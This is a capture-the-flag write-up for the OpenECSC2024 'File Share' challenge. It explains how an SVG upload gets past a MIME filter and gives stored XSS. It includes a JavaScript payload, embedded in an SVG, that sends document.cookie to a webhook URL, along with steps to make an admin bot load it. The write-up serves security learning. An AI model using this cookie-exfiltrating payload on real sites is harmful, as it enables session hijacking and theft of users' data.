This is a writeup for the OpenECSC2024 challenge File Share. The source code and official writeup can be found at the official OpenECSC Github.

Challenge Description

You can now share your files for free thanks to our new disruptive technology! Site: https://fileshare.challs.open.ecsc2024.it

Challenge Analysis

Reviewing the source code, there are two main points of interest:

1. support.php

 if (preg_match('/^[a-f0-9]{30}$/', $fileid) === 1) {

        $url = 'http://' . getenv('HEADLESS_HOST');
        $chall_url = 'http://' . getenv('WEB_DOM');
        $act1 = array('type' => 'request', 'url' => $chall_url);
        $act2 = array('type' => 'set-cookie', 'name' => 'flag', 'value' => getenv('FLAG'));
        $act3 = array('type' => 'request', 'url' => $chall_url . '/download.php?id=' . $fileid);
        
        $data = array('actions' => [$act1, $act2, $act3], 'browser' => 'chrome');
        $data = json_encode($data);

        $options = array(
            'http' => array(
                'header'  => "Content-type: application/json\r\n" . "X-Auth: " . getenv('HEADLESS_AUTH') . "\r\n",
                'method'  => 'POST',
                'content' => $data
            )
        );

        $context  = stream_context_create($options);
        $result = file_get_contents($url, false, $context);

If a valid file ID is submitted, this sends a POST request to a headless browser service. It includes the flag as a cookie and then requests the file using the provided ID.

2.support.php

$type = $_FILES["file"]["type"];
    // I don't like the letter 'h'
    if ($type == "" || preg_match("/h/i", $type) == 1){
        $type = "text/plain";
    }

This restricts file uploads based on MIME type, rejecting any type containing the letter h (case-insensitive). This prevents PHP/HTML files from being executed, regardless of their extension.

However, SVG files are not blocked, making stored XSS possible. So we are able to get stored XSS by uploading an SVG file with some JS.

Exploitation

Step 1 – Prepare Payload

Firstly, you want to setup a webhook, or forwarder. I used webhook.site for this. This is where we are going to send the request to get the flag. You want to create and upload an SVG file containing JavaScript like below:

<script type="text/javascript">
<![CDATA[
image = new Image();
image.src='https://webhook.site/XXXX?'+document.cookie;
]]>
</script>

Replace https://webhook.site/XXXX with your own webhook URL.

Step 2 – Upload the File

  1. Navigate to the Upload page.
  2. Submit the malicious SVG file.
  3. Copy the file ID from the generated link after upload.

Upload

Step 3 – Trigger the Headless Browser

  1. Go to the Support page.
  2. Fill in a valid email, the file ID, and any message.
  3. Submit the form.

Support

Step 4 – Capture the Flag

Once the headless browser visits your SVG, the embedded script runs, sending its cookies (including the flag) to your webhook.

Check your webhook:

Flag exfiltrated